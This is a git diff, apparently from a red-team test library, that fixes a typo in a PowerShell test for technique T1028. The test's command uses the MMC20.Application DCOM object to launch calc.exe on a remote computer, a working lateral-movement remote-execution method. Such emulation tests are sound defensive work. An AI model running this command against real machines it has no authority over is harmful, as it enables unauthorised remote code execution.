diff --git a/atomics/T1028/T1028.md b/atomics/T1028/T1028.md index 43d82678..01e3962c 100644 --- a/atomics/T1028/T1028.md +++ b/atomics/T1028/T1028.md @@ -67,7 +67,7 @@ Upon successful execution, cmd will spawn calc.exe on a remote computer. ```powershell -[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7") +[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7") ``` diff --git a/atomics/T1028/T1028.yaml b/atomics/T1028/T1028.yaml index 32c67e10..4c5eca8e 100644 --- a/atomics/T1028/T1028.yaml +++ b/atomics/T1028/T1028.yaml @@ -40,7 +40,7 @@ atomic_tests: executor: name: powershell command: | - [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7") + [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7") - name: WMIC Process Call Create description: |